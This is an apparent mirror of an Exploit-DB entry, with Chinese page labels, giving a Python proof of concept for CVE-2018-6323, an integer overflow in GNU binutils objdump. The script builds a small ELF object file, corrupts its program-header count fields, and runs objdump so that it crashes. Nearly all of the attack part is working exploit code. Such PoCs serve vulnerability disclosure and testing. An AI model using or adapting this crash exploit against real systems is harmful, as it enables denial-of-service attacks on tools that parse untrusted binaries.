GNU binutils 2.26.1 – Integer Overflow (PoC) - 体验盒子

作者： r4xis

日期： 2018-02-14

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/44035/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

# Exploit Title: Objdump - Integer Overflow Crash POC

# Date: 12.02.2018

# Exploit Author: r4xis

# Tested Version: 2.26.1

# Vuln Version: <2.29.1

# CVE: cve-2018-6323

# Tested on: Ubuntu 16.04 32-bit

# Vulnerability Details:

# https://www.cvedetails.com/cve/CVE-2018-6323/

# https://sourceware.org/bugzilla/show_bug.cgi?id=22746

import os

hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"

f = open("helloWorld.c", 'w')

f.write(hello)

f.close()

os.system("gcc -c helloWorld.c -o test")

# file test

# test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

f = open("test", 'rb+')

f.read(0x2c)

f.write("\xff\xff") # 65535

f.read(0x244-0x2c-2)

f.write("\x00\x00\x00\x20") # 536870912

f.close()

# readelf -h test

# Number of program headers: 65535 (536870912)

os.system("objdump -x test; rm -r helloWorld.c test")